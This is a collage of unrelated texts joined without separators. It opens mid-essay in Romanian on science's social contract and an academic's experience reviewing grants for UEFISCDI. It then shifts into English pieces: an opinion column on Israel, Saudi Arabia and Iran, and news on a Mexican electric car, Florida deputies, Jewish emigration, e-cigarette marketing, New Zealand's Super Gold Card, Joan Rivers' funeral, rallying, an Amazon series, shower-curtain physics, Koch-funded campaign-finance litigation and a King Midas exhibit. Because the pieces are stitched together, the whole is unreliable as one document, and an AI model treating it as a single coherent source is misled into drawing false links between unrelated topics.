Relația mai mult decât agreabilă dintre oamenii de știință, societate și stat a început însă să se schimbe. În ultimele decenii, o serie de stresuri au slăbit rezistența intrinsecă a contractului social dintre știință și societate. Complexitatea și creșterea costurilor de cercetare au crescut continuu. Pe de altă parte au apărut probleme societale noi și urgente – în învățământ, protecția mediului, relațiile internaționale, menținerea infrastructurilor îmbătrânite, securitatea națională, sănătate etc. – care necesită soluții rapide, intrând astfel în competiție cu finanțarea pentru știință. În plus, Statele Unite au trecut prin două războaie grele și costisitoare, care au secătuit bugetul federal, și printr-o criză economică teribilă. În aceste condiții, societatea a cerut oamenilor de știință mai mult ajutor, chiar dacă bugetele pentru cercetare științifică au rămas relativ constante. Practic, relațiile s-au încordat în ambele părți.
Dar speranța unui contract social viabil nu a murit. Și afirm asta bazând-mă pe propria mea experiență în obținerea unor contracte de cercetare plătite din banul public. Cu o singură excepție (un proiect de câteva luni, în 1997, cu compania Amoco din Oklahoma), întreaga mea activitate de cercetare din ultimii 22 de ani a fost finanțată prin concursuri din fonduri publice (federale și statale). Iar când spun concursuri, asta înseamnă că proiectele mele au fost evaluate într-o competiție cu posibili contracandidați din cele peste 10.000 de universități americane. Iar dacă unele universități se numesc Harvard (153 premii Nobel), Columbia (101 premii Nobel), MIT (84 premii Nobel) sau Stanford (59 Nobel), înseamnă că mi-a trebuit un mare curaj să concurez, pentru că City University of New York numără numai 13 laureați Nobel J. Este adevărat însă că nu se acordă un premiu Nobel pentru geologie sau geofizică. ENI Awards, pentru care am fost nominalizat în 2012, este echivalentul premiilor Nobel în geoștiințele petroliere.
Ceea ce am remarcat la proiectele finanțate după 2001 este, pe lângă meritele intelectuale ale activității propuse, capitolul, tot mai extins, dedicat impactului societal al cercetării pentru care se cere finanțare publică. Cu alte cuvinte, trebuie explicat foarte clar și în termeni cât mai simpli, care va fi relevanța și valoarea rezultatelor obținute când proiectul va fi finalizat și ce beneficii va primi societatea în schimbul suportului financiar. O politică de Informare Publică (Public Outreach), gândită atent și focalizată pe audiența-țintă, va reuși să capteze interesul și benevolența cetățenilor și, prin ei, a politicienilor care administrează fondurile publice[4].
În cazul cercetărilor geologice-geofizice, atenția opiniei publice din SUA (uneori și din România) este sensibilizată de unele teme specifice legate de degradarea mediului, vulnerabilitatea la hazarduri naturale și riscurile asociate sau managementul resurselor naturale (în România, vezi cazurile Roșia Montană și gazele de șist de la Pungești). Este lesne de înțeles și ușor de evaluat interesul deosebit și sensibilitatea publicului pentru astfel de teme de cercetare. Obiectivitatea cercetătorului și lipsa lui de opțiuni partizane în studiul propus, sunt atuuri prețioase pentru câștigarea încrederii unei societăți deja polarizate și stresate. A proceda altfel circumscrie o atitudine arogantă și periculoasă.
Observațiile mele de mai sus, legate de contractul social dintre cercetarea științifică și societate, mi-au fost inspirate, după cum am scris, de discuțiile recente legate de posibila desființare a UEFISCDI și înlocuirea acesteia cu altceva. O scurtă experiență personală cred că merită povestită aici.
UEFISCDI mi-a solicitat de câteva ori – și am acceptat – să servesc drept evaluator extern pentru proiecte din domeniul geologiei și geofizicii. De asemenea, am făcut parte dintr-o echipă internațională de experți, care s-au deplasat la facultăți de profil din diverse orașe românești pentru evalua potențialul lor logistic, didactic și de cercetare în vederea unor acreditări despre care ni s-a spus prea puțin la început și nu am auzit nimic după plecarea din România.
Am primit spre evaluare circa două duzini de proiecte scrise de cadre didactice și/sau cercetători de la universitățile românești. Cu părere de rău, a trebuit să resping o bună parte dintre acele proiecte datorită, în principal, tocmai lipsei unui capitol dedicat impacturilor societale pe care cercetarea propusă le-ar fi produs în cazul finanțării. Practic, nu reieșea de loc de ce o anumită temă ar trebui acceptată, iar alta, nu. Desigur, am considerat și meritele intelectuale individuale. Și aici m-am lovit de lipsa unor ipoteze de studiu, care ar fi trebuit să fie, prin rezultatele cercetării, acceptate sau respinse (falsificabile sau nefalsificabile, în sensul lui Karl Popper). În fond, cercetarea științifică nu se face doar pentru a mai adăuga o cărămidă la templul științei, ci pentru a testa ipoteze multiple, care să explice datele colectate și analizate, eventual să producă acel breakthrough capabil să aducă României într-o bună zi premiul Nobel mult visat.
Într-o bună tradiției românească, administratorii UEFISCDI mi-au cerut repetat să modific scorurile acordate (numai în sensul creșterii lor!), pentru că, vedeți Dvs., ceilalți evaluatori nu au fost așa critici ca Dvs.! Gustul neplăcut al acestor experiențe m-a determinat să încetez colaborarea mea cu agenția menționată.
Contractul social al științei obligă pe cercetători să se integreze cât mai intim în societatea care îi susține financiar, să se plieze constructiv pe nevoile acesteia. Eforturile lor sunt așteptate în direcția rezolvării unor probleme presante din viața de zi cu zi, astfel încât infama etichetă de „savanți în turnul de fildeș” să rămână în domeniul trecutului. Oamenii de știință pot nu numai să stabilească un contract social mai robust, mai productiv, mai sustenabil pentru viitor; ei pot de asemenea să îndrepte lumea pe calea către un viitor mai luminos decât prezentul.
NOTE________
[1] Demeritt, D., 2000, The New Social Contract for Science: Accountability, Relevance, and Value in US and UK Science and Research Policy, Antipode, 32:3, p. 308 – 329
UNESCO, 1999, A new Social Contract for Science, http://www.unesco.org/science/wcs/abstracts/II_5_social.htm
[2] Bush, V., 1945, Science, the Endless Frontier: A Report to the President on a Program for Postwar Scientific Research, U.S. Gov. Print. Off., Washington D.C. https://www.nsf.gov/od/lpa/nsf50/vbush1945.htm
[3] Hooke, W., 2015, Reaffirming the Social Contract Between Science and Society, EOS, 1 aprilie 2015
[4] Cu toată modestia, aș vrea să dau ca exemplu ultimul meu proiect cu U.S. Department of Energy, National Technology Energy Laboratory, Carbon Dioxide Sealing Capacity: Textural or Compositional Controls?
http://www.netl.doe.gov/publications/factsheets/project/FE0002028.pdf.
Similar, ultimul meu proiect cu Research Foundation of CUNY este:
Intelligent Modelling Approaches in Petroleum Geosciences, care a stat la baza ultimei mele cărți de la Springer:
Artificial Intelligent Approaches in Petroleum Geosciences
http://www.springer.com/us/book/9783319165301#aboutBook
There is considerable confusion about what is occurring in the Middle East, to include much discussion of whether Israel and Saudi Arabia have formally agreed to combine forces to increase both military and economic pressure on Iran, which both of them see as their principal rival in the region. During the past week, a classified message sent by the Israeli Foreign Ministry to all its diplomatic missions worldwide that appears to confirm that possibility was obtained and leaked by senior reporter Barak Ravid of Israel’s highly respected Channel 10 News.
The cable instructs Israeli diplomats to take coordinated steps designed to discredit the activities of the Iranian government. It states, in edited-for-brevity translation, that overseas missions should contact their host countries to emphasize that the resignation of Lebanese Prime Minister Saad al-Hariri over Iranian attempts to take over his country “illustrate once again the destructive nature of Iran and Hezbollah and their danger to the stability of Lebanon and the countries of the region;” that the argument that having Hezbollah in the Lebanese government provides stability is false and only serves to “promote the interests of a foreign power – Iran;” and that the launch of a ballistic missile from Yemen against Saudi Arabia confirms the need for “increased pressure on Iran and Hezbollah on a range of issues from the production of ballistic missiles to regional subversion."
The Foreign Ministry message has been interpreted as “proof” that Israel and Saudi Arabia are coordinating to provoke a war against Iran as Israel is taking positions in support of Saudi claims, to include those relating to the confused conflict taking place in Yemen. My own take is, however, somewhat different. Having seen literally hundreds of similar U.S. State Department messages, I would regard the Israeli cable as consisting of specific “talking points” for use with foreign governments. Though it is clear that Tel Aviv and Riyadh have been secretly communicating over the past two years regarding their perception of the Iranian threat, it would be an exaggeration to claim that they have a coordinated position or some kind of alliance since they differ on so many other issues. They do, however, have common interests that are in this case aligned regarding the Iranians since both Israel and Saudi Arabia aspire to dominance in their region and only Iran stands in their way.
Both Saudi Arabia and Israel know they cannot defeat Iran and its proxies without the active participation of the United States. That would require shaping the “threat” narrative to start with a series of relatively minor military actions that appear defensive or non-controversial to draw the United States in without really appearing to do so. American involvement would be against Washington’s own interests in the region but it would serve Saudi and Israeli objectives, particularly if the situation is inherently unstable and is allowed to escalate. Both the Saudis and, more particularly, the Israelis have powerful lobbies in Washington that will push a friendly Congress for increased U.S. involvement and the Iranophobic mainstream media is likely to be similarly positive in helping to shape the arguments for American engagement.
It seems clear that the escalation will be starting in Lebanon, where the resignation of Prime Minister al-Hariri has created a plausible instability that can be exploited by Israel supported by heavy pressure from the Saudis to harden the Lebanese government line against Hezbollah. Hariri headed a coalition pulled together in 2016 that included nearly all of Lebanon’s main parties, including Hezbollah. It took office in a political deal that made Michel Aoun, a Maronite Christian who has an understanding with Hezbollah, president. The inclusion of Hezbollah and the presence of a friendly Aoun was, at the time, seen as a victory for Iran.
By one account, Hariri has been more-or-less kidnapped by the Saudis because he was regarded as too accommodating to the Shi’ites in Lebanon and, if that is so, he was speaking from Riyadh’s script when he resigned while denouncing Iran and Hezbollah and claiming that he fled because he was about to be assassinated. It suggests that the Saudis and Israelis, who have been hyperbolically claiming that Tehran is about to take control of much of the Middle East, are feeling confident enough to move towards some kind of showdown with Iran. As a first step, expected deteriorating sectarian interaction between Sunni and Shi‘ite Muslims in Lebanon to eliminate any possibility of a bipartisan and functioning government will provide a pretext for staged intervention to “stabilize” the situation.
The United States has been largely silent but presumably privately approving the Israeli and Saudi moves, as Washington, Riyadh and Tel Aviv have all adamantly opposed the existence of the Lebanese coalition dominated by Aoun and Hezbollah’s Nasrullah. Israel fighter aircraft will likely increase incursions into Lebanese airspace in light of the alleged instability north of the border, which will provoke a Lebanese response escalating into an incident that will lead to a major attack to bring the Beirut government down, though Israel will have to be careful to avoid a possible mass counter-strike by Hezbollah missiles. The ultimate objective might be to create a Saudi and Israeli inspired grand alliance, which might be a fantasy, to pushback Iranian influence in the entire region. Lebanon’s Hezbollah, opposed by the Saudis because it is Shi’a and by Israel because of its missile arsenal would be conveniently targeted as the first marker to fall.
"We are developing a new Mexican electric vehicle that will not only be assembled [in Mexico], but also designed and modeled to meet the needs of Mexican consumers," Elías Massri, Giant Motors' CEO for Latin America told Forbes Mexico.
The vehicle, which will be designed by Giant Motors, will be manufactured in a joint venture with Moldex, a subsidiary of Grupo Bimbo, a Mexican-based multinational which is the world’s largest bread maker.
Giant Motors expects to complete a working prototype late this year to be able to market it in 2018. The company said it plans to introduce the car as an electric taxi in Mexico City, the nation's densely populated capital where air pollution is a continuing concern.
Giant Motors will seek government funding and collaboration to help promote it as an environmentally-sound alternative.
Last week, Slim's Giant Motors announced a 4.4 billion peso (around US$215 million), alliance with Chinese auto maker JAC Motors to manufacture vehicles in Mexico's central state of Hidalgo.
JAC, or Jianghai Automobile Company, builds both trucks and passenger vehicles and has had a presence in Mexico since 2007.
Slim's Inbursa will be the principal shareholder in the venture.
Grupo Bimbo, maker of Entenmann's, Thomas' English Muffins, Mrs. Baird's breads and the Sara Lee brand (which Grupo Bimbo purchased in 2011), was co-founded in 1954 by Lorenzo Servitje.
Lorenzo Servitje, 98, passed away on Friday. The Mexican press reported that his funeral was attended by a number of Mexican billionaires and businessmen, including mining tycoon Alberto Bailleres and Grupo Carso Chairman Carlos Slim Domit (Slim Helu's eldest son), as well as Mexican President Enrique Peña Nieto, among other prominent business and political figures.
Daniel Servitje Montull, Lorenzo Servitje's son, is Grupo Bimbo's Chairman and CEO.
Diana Marchione says she’s been battling lung cancer for the past year and hasn’t been given long to live.
“It could be any day now," Marchione said. "It spread. They took part of my lung out last October and I went through four months of chemo -- eight hour sessions. Now it’s in my chest and my spine.”
Marchione said her husband left her without any food or money. She called deputies to report the feud but got a different kind of surprise instead.
“The deputies came and saw I had no food and out of the kindness of their heart, they went and bought me food,” said Marchione.
“From a law enforcement perspective, there weren’t any crimes committed," said Polk County Sheriff Deputy, Brian Kelser. "There wasn’t really any way we could help her in that but we didn’t just want to leave her here with nothing.”
Kesler said he and the two other responding deputies, Gwen Clark and Maria Catello, didn’t think twice about helping Marchione.
“I mean if it was my grandma, I wouldn’t want somebody to just leave her and say there’s nothing we can do for you,” Kelser said.
The three deputies used money out of their own pockets to get Marchione what she needed.
“There’s a grocery store right down the street: Aldi," Polk County Deputy Gwen Clark said. "She said that’s where she typically buys her groceries, and she was talking about a few things she likes to eat so we just went down there and grabbed a couple things.”
It’s a gesture Marchione says is making her good days outweigh the bad. A gesture that these deputies say gave new meaning to protecting and serving.
The deputy's superiors say they had no idea about their kind act until Marchione contacted Bay News 9 for a story.
Some European countries have seen an increase in the number of Jews leaving to live in Israel but the numbers fall short of an “exodus”, according to a new study.
The Institute of Jewish Policy Research compared recent trends of Jewish migration with cases of mass migration in response to persecution or major political upheavals in the past.
Jonathan Boyd, the IJPR’s executive director, said: “There is no evidence of an exodus of Jews from Europe, even though the numbers of Jews emigrating to Israel from some countries in recent years – most notably France – are unprecedented.”
He added: “It is clear that Jews in parts of Europe are genuinely concerned about their future, most likely because of antisemitism, but the levels of anxiety and apprehension are nowhere near those experienced during previous periods of intense stress, like the 1930s and 1940s. Drawing those types of parallels has no basis in empirical reality.”
The IJPR looked at six countries – France, Belgium, Germany, Italy, Sweden and the UK, which account for about 70% of European Jews. It concluded there had been an increase in migration, especially from France, Belgium and Italy; but in the UK, Germany and Sweden levels of migration were not unusual.
Suggesting a definition of an exodus as 30% of the Jewish population, it said 4% of Jews in Belgium and France had left for Israel between 2010 and 2015. The proportion leaving from the UK, Germany and Sweden was between 0.6% and 1.7%.
The context, said the report, was a significant demographic transformation of Europe, with an inflow of migrants from the Middle East, north Africa and south Asia, which had implications for European culture, traditions and politics.
“It is against this background of demographic change and political reckoning that European Jews and Jewish communities try to orientate themselves. Irrespective of the degree of their religiosity and communal involvement, the process is neither easy nor light-hearted for most Jews,” said the report.
“It takes place both in the shadow of the Holocaust, an event that showed to Jews and others the scale of possible tragedy when a small and vulnerable minority is drawn into ideologically-inspired military conflict, and in the context of painful and difficult discourse about the State of Israel that affects many Jews at a gut level.”
It said the differences between the two groups of countries pointed to “the existence of two distinct post-2000s trajectories of migration to Israel”, it said. “On the one hand, there is the British pattern, constituted by the UK, Germany and Sweden, where ‘business as usual’ seemingly prevails, and on the other, there is the French pattern, constituted by France, Belgium and Italy, where new winds seem to be blowing.”
According to a report by Human Rights First, antisemitic incidents in France doubled from 423 in 2014 to 851 in 2015 and were becoming increasingly violent. Figures collated by the UK’s Community Security Trust suggested an 11% increase in antisemitic incidents in Britain in the first six months of 2016.
Daniel Staetsky, the author of the IJPR report, said: “European demographic and political landscapes are changing … Large segments of Jewish populations in European countries perceive antisemitism to be on the increase. There is no perfect tool to measure the prevalence and strength of antisemitic attitudes in the general public, but some phenomena can be measured by their effects.
“Migration plays a very central role in Jewish demography, as Jews are known to move in response to a particularly acute deterioration in the political or economic situation. If Jews feel unwelcome in Europe, their movement out of Europe will serve as the first sure sign of that.”
Two years ago, the Israeli prime minister, Benjamin Netanyahu, urged European Jews to migrate en masse to Israel following terrorist attacks in Paris and Copenhagen. “Israel is your home and that of every Jew. Israel is waiting for you with open arms,” he said.
However, European politicians and Jewish community leaders called on Jews to stay in Europe, saying terror was not a reason to emigrate.
The report surveyed nine major producers, though only eight responded: Altria, R. J. Reynolds Vapor Company, NJOY, Eonsmoke, Logic, VMR, Lorillard and Green Smoke. Six of them said they had sponsored events, and eight said they had given away free samples. In all, 348 events featured free giveaways and sponsorship in 2012 and 2013, “many of which appeared geared toward youth,” the report said.
A spokesman for the Smoke Free Alternatives Trade Association, the e-cigarette industry’s trade group, said, “We encourage responsible marketing directed to those over the age of 18,” and added it “does not support, and our industry does not use, youth-oriented product marketing.”
The report found that Lorillard represented the largest portion of the giveaways and sponsorships in 2012 and 2013, providing free e-cigarette samples or sponsorship at 227 of the events, which included music festivals, parties and motor sports competitions. It also sponsored Freedom Project, a national tour by a number of bands. This year, tobacco control advocates criticized ads for the company’s Blu brand e-cigarettes that ran in Sports Illustrated magazine and featured women in bikinis, calling them an attempt to appeal to teenage boys.
Last week's column questioned the wisdom of spending $26-28 million of taxpayers' money on the Super Gold Card scheme.
My main objection is the money spent on the card could be better and more fairly spent elsewhere. I'm sure some seniors rely heavily on the gold card but I suggest nine out of 10 seniors could pay without discomfort.
Judging by the feedback, many seniors feel they deserve the card, even earned it. They worked hard all their lives, paid tax and were bloody well entitled to it.
READ MORE: Oldie Super Gold Card greed needs to be curbed
I don't argue that oldies don't deserve the Super Gold Card. Everyone does but the point is more that the money would be more useful elsewhere.
Neither do I blame seniors for signing up for the card as soon as possible after 65. Offer something for free and they will come. The Super Gold Card was, after all, a modest little bribe put out by NZ First which any political party would now be loathe to dump for purely electoral reasons.
People do not always vote in their own interests, especially on ambitious programmes that scare them with their cost and radicalism. But tangible, tidy carrots like the Super Gold Card have a voting potential far outweighing their worth or importance.
In economic terms the Super Gold Card is a minor issue. We live in times when $28m is a drop in the bucket. For instance in the 2016/17 year, the Government will spend $16.2 billion on health, $12.3b on welfare and social security and $12.9b on superannuation.
The significance of the card is it illustrates the danger of pandering to one group in society because of their electoral weight. Seniors represent a sizeable block of the population and due to longevity and birth rates, the block is only getting bigger.
Most seniors are not selfish and will vote in the wider interests of the country. After all they have children and grandchildren and are not stupid. (I suspect a lot of seniors who don't really need their superannuation end up giving it their kids in various forms.) But oldies are a specific group who respond to the pushing of specific buttons.
The Super Gold Card is just a tiny perk compared to the universal benefit for the over-65s provided by National Superannuation. One of the really interesting challenges facing the scheme is what the Government will do about people still working and also getting their super.
After my Super Gold Card column I had a call from Ross in Hamilton who had just retired from fulltime work aged 74. He worked in the Railway's Addington workshops for half his life and then worked for an aluminium joinery company.
Obviously a terrific, hardworking bloke but why should he get what is essentially a guaranteed income on top of his wages each week when others probably have a much better case? For instance imagine a single, mortgage-paying, 45-year-old woman with two high school kids, working full time in a supermarket on the minimum wage.
Although statistics always need to be treated carefully, New Zealand has a high proportion of citizens over 65 still working. About 40 per cent of people in the 65-69-year-old age group still clock in and even in the 70-74 group, 19.5 per cent are still in the workforce.
Some will be working because they need to. Perhaps they are supporting a grandchild or still renting. About 25 per cent of over 65s do not own or partly own their own home.
Some will do it because the higher income is too good an opportunity to pass up and the motivation for some will be mainly wanting to keep busy.
This brings us inevitably to the subject of raising the age of superannuation entitlement.
By international standards New Zealand has a fairly modest and affordable superannuation scheme but it is not sustainable and younger tax payers cannot be blamed for worrying whether the universal benefit will be around for them.
The latest census shows about 607,000 people in New Zealand are over 65, representing about 14 per cent of the population. By 2043, over 65s will form about 24 per cent of the population and those 85-plus will quadruple to about 360,000 by 2061.
(I expect to continue working into my 70s and die around 2046 so count me in).
Essentially the trouble for countries like New Zealand is a perfect storm of a large and fairly sudden increase in life expectancy, a low birth rate and a strong expectation the state will provide a good pension.
Superannuation is one of the two main pressures on the Government coffers coming from the seniors. The other is health. Treasury reports that at current revenue settings, especially in regard to tax, it might just be able to afford projected growth in either one of these two areas, but not both.
Many of the OECD countries, like Iceland and Norway, have already raised the pension age to 67 and New Zealand will at some stage inevitably follow.
Those seniors – like Ross – who have double dipped for years are the lucky ones. Those who miss out will have good cause to feel aggrieved.
This a vexed issue. You want people to keep working and paying tax. Experience and wise heads are still needed in most workforces. If people save their universal benefit while still working that also has national benefits.
But hard, unpopular calls will need to be made. The worry is that if seniors get worked up about the Super Gold Card, what happens when necessary cuts go deeper?
Flowers are placed on the Hollywood Walk of Fame Star for Joan Rivers on Sept. 4. (Photo11: Mark Ralston, AFP/Getty Images)
NEW YORK — Joan Rivers' funeral was "quintessential New York," Hoda Kotb told reporters.
The Today co-host, Kathie Lee Gifford, Howard Stern, Donald Trump, Kristin Chenoweth, Whoopi Goldberg, Bernadette Peters, Kelly Osbourne and Diane Sawyer were among the stars spotted at Rivers' funeral Sunday at Temple Emanu-El on the Upper East Side.
"Today" team Kathie Lee Gifford, left, and Hoda Kotb arrive. (Photo11: D Dipasupil, Getty Images)
Some mourners wore "Joan Ranger" badges — star-shaped pins reminiscent of police badges to honor the Fashion Police star.
Diane Sawyer, who just stepped down as anchor of "ABC World News," was among the famous faces. (Photo11: Craig Ruttle, AP)
The service included a eulogy by Stern and music from Audra McDonald, Hugh Jackman and the New York City Gay Men's Chorus. Kotb said it "felt like a Broadway show with tons of humor, lots of tears, and ended with a standing ovation."
When the service was over, bagpipers streamed out of the temple and played several songs, including New York, New York, as guests made their exit. About 500 spectators and at least 100 members of the media lined the streets outside.
Bagpipers perform 'New York, New York' in honor of Joan Rivers. (Photo11: Carly Mallenbaum, USA TODAY)
Among them was James Wheeler, 30, wearing a lively outfit as a tribute to Rivers.
"Keep it bright, keep it exciting, like she lived her life," Wheeler said. "I hope that she would like (my attire). It's a little non-traditional."
"Like her, I don't believe in political correctness. Say what you have to say," said Kolu Baysah. "I really didn't come to say goodbye. She didn't believe in goodbyes. I came to say hello."
In Rivers' 2012 book, I Hate Everyone ... Starting With Me, she wrote that she wanted a red carpet and sobbing Meryl Streep at her funeral. There were no outdoor sightings of either, as police worked the crowds telling TV stations to get rid of their lights and show their credentials.
Rivers, 81, died Thursday at Mount Sinai Hospital, where she was rushed Aug. 28 after she stopped breathing during surgery on her vocal cords at an endoscopy clinic.
CLOSE At New York Fashion Week, stylists, designers and fashionistas say the late Joan Rivers will leave a void in the fashion community.
"It is with great sadness that I announce the death of my mother, Joan Rivers," Melissa Rivers said in a statement. "She passed peacefully at 1:17 p.m. surrounded by family and close friends. My son and I would like to thank the doctors, nurses, and staff of Mount Sinai Hospital for the amazing care they provided for my mother.
"Cooper and I have found ourselves humbled by the outpouring of love, support, and prayers we have received from around the world. They have been heard and appreciated. My mother's greatest joy in life was to make people laugh. Although that is difficult to do right now, I know her final wish would be that we return to laughing soon."
Rivers, who was actively flogging her latest humor book this year, was making headlines up to the last minute, raising eyebrows, as she had so many times in the past, with jokes and remarks viewed as insensitive, unfunny or politically incorrect.
She joked about the Holocaust and the Haiti earthquake, recently suggested Michelle Obama is "transgender" and stormed out of a CNN interview in a rage after seeming to misunderstand the questions.
Mostly, she didn't apologize, or only grudgingly. Rivers, who had more than 2 million Twitter followers, didn't believe she went too far. "Life is tough. Life is tough. I just think, 'Make them laugh,' " she told USA TODAY in a recent interview.
On Friday, a spokeswoman for the city medical examiner, Julie Bolcer, said that an initial autopsy did not establish a clear cause of death and that more tests, such as toxicology, still have to be completed, the Associated Press reported.
Kelly Osbourne arrives for the funeral of Joan Rivers at Temple Emanu-El in New York. Rivers died at the age of 81 on Sept. 4. (Photo11: Peter Foley, EPA)
Meanwhile, an investigation of the clinic where Rivers was taken ill, the Yorkville Endoscopy clinic, was launched by state health officials, who aren't commenting on what they're looking at.
Contributing: Maria Puente, Associated Press
The Frenchman impressed many in 2015 with his WRC2 performances of Team ORECA as he took on the might of the factory Škoda Fabia’s as was given the call up by M-Sport owner Malcolm Wilson over the off-season.
Camilli has been testing the Ford Fiesta RS WRC with co-driver Nicolas Klinger in prepation for the opening Rallye Monte-Carlo next week.
“These tests went very well,” said Camilli. “We were really able to work on various set up and develop a real harmony with our new team. It’s really special to bring these tests to a successful conclusion as official driver, but everything went as we wanted and we are really looking forward to start the season!
“The Rallye Monte-Carlo is an event both atypical, long and complicated due to its extreme weather conditions. The first target will be to learn the Fiesta RS WRC and to progress step by step while realizing a smart race. This is our first world race and we will know the level of the WRC. We will give the best of ourselves, as we always do.”
Amazon is returning to the Castle.
The streaming service and retailer has renewed The Man in the High Castle for a third season and brought in a showrunner to oversee the scripted drama, The Hollywood Reporter has learned.
Eric Overmyer has boarded the series as showrunner after the drama operated its sophomore season without an executive producer after Frank Spotnitz exited the series midway through production over budget and location issues. Overmyer takes over the drama after previously working with Amazon on Bosch. His credits also include The Affair and The Wire. Season three of Bosch, Amazon's longest-running original, is expected to debut this year. The police procedural has been renewed for a fourth season.
"We're running, in many ways, like a republic," executive producer David Zucker told reporters in August when asked who was serving as showrunner in Spotnitz's absence.
Amazon, which does not release viewership information like other streamers including Netflix and Hulu, said in a release that Castle season two premiered with the most viewers of all of its original series over the show's debut weekend (Dec. 16). Amazon in December 2015 said Castle had surpassed Bosch as its most-watched original during its freshman run.
"As timely as ever, the exploration of characters at a dark point for humanity has provided incredible stories for two seasons,” Amazon Studios head of comedy Joe Lewis said. "Eric and his team are doing an incredible job crafting stories about the inner lives of those who struggle to do good in a world that is not. We couldn’t be more excited to bring season three to customers in 2017."
Castle, based on the Philip K. Dick novel of the same name, imagines a world where the U.S. lost World War II and is now occupied by Nazi Germany on the East Coast and Imperial Japan on the West Coast. Spotnitz created the series and remains credited as an exec producer alongside Ridley Scott, Zucker and Dick's daughter, Isa Dick Hackett. Alexa Davalos, Rupert Evans, Luke Kleintank, DJ Qualls, Joel De La Fuente, Brennan Brown, Bella Heathcote, Callum Keith Rennie, Cary-Hiroyuki Tagawa and Rufus Sewell star.
The Castle renewal comes after Amazon scrapped well-reviewed drama Good Girls Revolt following one season. The drama, produced by Sony Pictures Television, is being shopped to other outlets.
NOTE: Tom Musgrave, in a comment on my reply, states that my explanation had been "discredited", and he cites an article published in Scientific American, " Why does the shower curtain move toward the water? " The author of this article says the effect is just as prominent with cold water as with hot. He examines the issue with a computer model, and concludes that vortices were responsible.
Not everything published in a popular science journal is necessarily true. Moreover, in the original question, the person who asked stated "I noticed this effect more prominently when the water was hot." That contradicts the Scientific American theory.
I just went into my bathroom and did the experiment. I found that with hot water, the shower curtain was pulled in strongly, and with cold water, not very much. This one experiment seems to discredit the article in Scientific American. Perhaps the vortices were responsible for the weak sucking in the cold water case.
Nov. 14, 2017, 11:13 PM GMT / Updated Nov. 14, 2017, 11:13 PM GMT By Lateshia Beachum
This story was originally published by The Center for Public Integrity, a nonprofit, nonpartisan investigative news organization in Washington, D.C.
WASHINGTON — Billionaire industrialists Charles and David Koch are well-known for pumping tens of millions of dollars into so-called dark money nonprofits — groups that actively promote or criticize candidates for office but are not required to reveal their donors.
Not so well known is the duo's role in underwriting and sculpting the legal landscape that led to the court decisions that made possible these and other groups such as super PACs.
The Center for Public Integrity investigated an array of organizations that have participated in legal challenges dating back 40 years that have resulted in a system allowing unlimited sums to be pumped into modern elections. It's a system that both Republicans and Democrats now fully rely upon ahead of 2018 midterm elections that could reaffirm — or torpedo — President Donald Trump's congressional majority.
Throughout that history, Koch-backed groups have stood out as reliable, stalwart opponents of regulation of money in politics. While far from the only players in the legal battle, the Kochs are certainly among the most recognizable — and significant.
David, left, and Charles Koch AP; Getty Images
"They're not the only group in the game," Larry Noble, general counsel for the Campaign Legal Center, said of the Kochs. "But I think what you'll see, it's a deep well with a long-term commitment."
Click Here to Read the Center for Public Integrity's Version of This Story
The Center for Public Integrity identified the sources of $293 million received by groups that lodged formal arguments in key campaign finance deregulation cases. It also identified $64 million in funding for groups that defended campaign finance regulations, including significant cash from liberal billionaire and Koch foil George Soros.
Related article: How Slamming Campaign Finance Laws Helped Greg Gianforte Get Elected
Funds underwriting the legal campaigns to shape how money influences politics come from individuals, corporations, unions, foundations and family trusts of all sizes. Some have come from surprising sources, according to tax records, internal documents and other records reviewed by the Center for Public Integrity.
Not all the money identified went toward campaign finance fights, and much of the funding is simply untraceable, since most of these groups keep their donors secret.
But the funding that is known offers key clues about the players behind the greatest unraveling of campaign finance regulation in U.S. history.
'Buckley' and Cato
One must travel back in time more than 40 years to understand how today's motley collection of campaign money laws came to be — and how limits on political fundraising and spending have unraveled along the way.
It began with the Supreme Court's Buckley v. Valeo decision of 1976, a reaction to Watergate reforms passed by Congress. The court upheld limits on contributions to political campaigns, but in a critical part of the ruling that would play a major role years later, allowed for unlimited spending on campaigns.
The Buckley v. Valeo fight also helped inspire Ed Crane, former national chairman of the Libertarian Party, which was one of the case's plaintiffs, to create a libertarian equivalent to the predominant think tanks of the day — the liberal Brookings Institution and the conservative American Enterprise Institute.
With $500,000 from Charles Koch, Crane became the leader in 1977 of the Cato Institute, previously named the Charles Koch Foundation. In 1981, it moved from San Francisco to the heart of American political power — Washington, D.C.
George Soros during an economic speech in Frankfurt, Germany, in April 2013. Reuters — file
Ever since, the Cato Institute has tirelessly fought against campaign finance laws it considered antithetical to its philosophy of small government and largely unencumbered speech.
"We stand against campaign finance laws in general," Cato Institute research fellow Trevor Burrus said. "We believe that most campaign finance laws are unconstitutional. They are clear impediments of political speech."
For the Kochs, was Cato an ideological enterprise or vehicle for self-interest? Both, to some degree. Avowed libertarians, the Kochs control a vast empire of heavily regulated companies that would undoubtedly benefit from less government intrusion. Coloring the political system red instead of blue has practical, financial implications for the Kochs, who overwhelmingly support Republican candidates and causes.
The nation's campaign money system largely stood unchanged until 2002, when Congress passed the Bipartisan Campaign Reform Act — commonly known as the McCain-Feingold Act, named for its two Senate sponsors. The law curtailed a variety of political activities and included a ban on unlimited "soft money" contributions — corporate and union cash — given to political parties.
It also attracted an immediate backlash by foes of campaign finance legislation. Twelve suits brought by more than 80 plaintiffs were consolidated as McConnell v. Federal Election Commission, named for Mitch McConnell, a U.S. senator from Kentucky and current majority leader, who has long been in favor of liberalizing restrictions on campaign contributions.
'McConnell' et al
Those joined together under McConnell included the National Rifle Association, the Republican National Committee, the National Right to Life Committee, the American Civil Liberties Union, the AFL-CIO, the U.S. Chamber of Commerce and others.
Generally, the backers of these campaign finance case litigants are well-known, but not always.
And some are surprising.
Take the ACLU. Despite its reputation as an unabashedly liberal organization, the ACLU has routinely aligned itself with libertarians and conservatives in recent legal fights against campaign finance regulations. Who are the top donors to the ACLU?
Tops is the left-leaning Sandler Foundation, having given more than $24 million to the ACLU and the ACLU Foundation since 2001, according to the Center for Public Integrity's review of tax records.
Click Here To Read the Rest of This Story
The exhibition centers in on the life and reign of King Midas, a ruler who is largely known from mythological stories about his golden touch. At the Penn Museum, though, visitors will learn about his real life, the society he ruled and the excavation of his father’s, Gordios, tomb.
Exhibition Fast Facts
A world-premiere exhibit on King Midas opens at the Penn Museum on February 13.
Opening weekend celebrates the exhibition with a fashion show, live music, crafts and much more.
The exhibition is made up from 120 ancient artifacts and a number of interactive displays.
On view through November 27, 2016.
